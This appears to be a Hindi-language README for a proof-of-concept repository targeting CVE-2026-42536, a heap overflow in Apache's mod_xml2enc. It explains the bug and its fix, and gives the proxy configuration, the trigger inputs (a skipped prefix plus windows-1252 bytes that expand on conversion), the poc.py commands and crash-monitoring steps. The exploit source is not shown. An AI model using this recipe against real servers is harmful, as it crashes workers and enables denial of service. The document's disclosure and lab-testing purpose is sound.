erberkan/cve-2026-42536-pocApache HTTP Server में mod_xml2enc, xml2StartParse और अविश्वसनीय सामग्री के साथ हीप-आधारित बफ़र ओवरफ़्लो भेद्यता
mod_xml2enc हीप ओवरफ़्लो PoCइस रिपॉज़िटरी में CVE-2026-42536 के लिए एक नियंत्रित प्रूफ़ ऑफ़ कॉन्सेप्ट शामिल है, जो Apache HTTP Server के mod_xml2enc मॉड्यूल में हीप-आधारित आउट-ऑफ़-बाउंड राइट है। Apache HTTP Server के संस्करण 2.4.0 से 2.4.67 तक प्रभावित हैं; संस्करण 2.4.68 में अपस्ट्रीम फ़िक्स शामिल है।
प्रदर्शित परिणाम मेमोरी करप्शन है जिसके बाद Apache वर्कर क्रैश होता है। बार-बार ट्रिगर करने से डिनायल ऑफ़ सर्विस हो सकती है। यह PoC रिमोट कोड एक्ज़ीक्यूशन, प्रिविलेज एस्केलेशन, या रिवर्स शेल को नहीं प्रदर्शित करता है।
यह PoC जानबूझकर ऐसी सामग्री भेजता है जो Apache वर्कर को क्रैश कर सकती है। इसे केवल एक डिस्पोज़ेबल, आइसोलेटेड वातावरण में चलाएँ जिसका आप स्वामी हों या जिसे परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया हो। इसे प्रोडक्शन या तृतीय-पक्ष सिस्टम पर निर्देशित न करें।
स्क्रिप्ट डिफ़ॉल्ट रूप से केवल लूपबैक ऑपरेशन की अनुमति देती है। रिमोट ऑपरेशन के लिए स्पष्ट --allow-remote फ़्लैग आवश्यक है, लेकिन वह फ़्लैग अधिकृति का विकल्प नहीं है।
xml2StartParse mod_xml2enc को कॉन्फ़िगर किए गए स्टार्ट एलिमेंट से पहले बाइट्स को स्किप करने का निर्देश दे सकता है। Apache HTTP Server 2.4.67 में, fix_skipto() आउटपुट-बफ़र पॉइंटर को आगे बढ़ाता है और वैध डेटा की मात्रा को कम करता है, लेकिन यह आउटपुट क्षमता को उसी ऑफ़सेट से कम नहीं करता:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
इसलिए बाद में होने वाला कैरेक्टर-सेट कन्वर्ज़न को मूल एलोकेशन से मापी गई क्षमता प्राप्त होती है, भले ही ctx->buf अब उस एलोकेशन के भीतर इंगित करता हो। PoC इस असंगति को निम्नलिखित को मिलाकर प्रेक्षणीय बनाता है:
xml2StartParse html द्वारा स्किप किया गया 2,048-बाइट प्रीफ़िक्स।Content-Type जो charset=windows-1252 घोषित करता है।0x80, जो एक CP1252 बाइट से यूरो चिह्न के तीन-बाइट UTF-8 एन्कोडिंग तक विस्तृत होता है।विस्तारित होने वाला कन्वर्ज़न पुरानी क्षमता का उपभोग करता है और आगे बढ़े हुए पॉइंटर के बाद बची वास्तविक जगह से आगे लिख सकता है।
Apache 2.4.68 इस लेखांकन त्रुटि को ctx->bblen से स्किप किए गए ऑफ़सेट को घटाकर ठीक करता है:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
PoC दो HTTP घटकों का उपयोग करता है:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache को निम्नलिखित मॉड्यूल लोड करने होंगे:
filter
proxy
proxy_http
xml2enc
निम्नलिखित कॉन्फ़िगरेशन का उपयोग केवल एक आइसोलेटेड Apache 2.4.67-या-पुराने लैब में करें:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
डिफ़ॉल्ट कॉन्फ़िगरेशन अपेक्षा करता है कि poc.py Apache के समान होस्ट या कंटेनर नेटवर्क नेमस्पेस में चले। पोर्ट 18081 पेलोड बैकएंड है; अनुरोध पोर्ट 18080 पर फ़िल्टर किए गए Apache रूट पर भेजे जाने चाहिए।
कमज़ोर Apache इंस्टेंस शुरू करें, फिर उसी डिस्पोज़ेबल होस्ट या कंटेनर से PoC चलाएँ:
python3 poc.py
डिफ़ॉल्ट निम्नलिखित के समतुल्य हैं:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
दो-मशीन वाले अधिकृत लैब के लिए, पेलोड बैकएंड को Apache से पहुँचने योग्य बनाएँ और ProxyPass/ProxyPassReverse को हमलावर के लैब IP का उपयोग करने के लिए अपडेट करें। फिर बैकएंड को बाइंड करें और लैब Apache पते को स्पष्ट रूप से लक्षित करें:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
बैकएंड पोर्ट को आइसोलेटेड टेस्ट नेटवर्क से बाहर उजागर न करें।
PoC चलाते समय Apache की निगरानी करें। बिल्ड और प्रोसेस मैनेजर के आधार पर, क्लाइंट अनुरोध विफल हो सकता है, रीसेट हो सकता है, या आंशिक डेटा लौटा सकता है, जबकि पैरेंट प्रोसेस क्रैश हुए वर्कर को बदल देता है।
परीक्षित कमज़ोर बिल्ड से प्राप्त विशिष्ट प्रमाण में शामिल थे:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
systemd-प्रबंधित इंस्टॉलेशन पर:
sudo journalctl -u apache2 -f
फ़ोरग्राउंड Docker कंटेनर के लिए:
docker logs -f CONTAINER_NAME
वर्कर PID का बदलना एक अतिरिक्त संकेत दे सकता है:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
केवल ट्रांसपोर्ट विफलता ही कमज़ोरी का प्रमाण नहीं है। Apache एरर लॉग, सिस्टम जर्नल, सैनिटाइज़र आउटपुट, या कोर डंप में क्रैश की पुष्टि करें।
Apache HTTP Server 2.4.68 के विरुद्ध समान मॉड्यूल और वर्चुअल-होस्ट कॉन्फ़िगरेशन के साथ वही अनुरोध दोहराएँ। पेलोड बैकएंड को अभी भी अनुरोध प्राप्त होना चाहिए, लेकिन Apache वर्कर जीवित रहना चाहिए क्योंकि आउटपुट क्षमता आगे बढ़े हुए पॉइंटर के साथ-साथ कम हो जाती है।
यदि पैरेंट प्रोसेस स्वचालित रूप से वर्कर को नहीं बदलता है, तो केवल डिस्पोज़ेबल लैब सेवा को पुनः आरंभ करें:
sudo systemctl restart apache2
या डिस्पोज़ेबल कंटेनर को पुनः आरंभ करें:
docker restart CONTAINER_NAME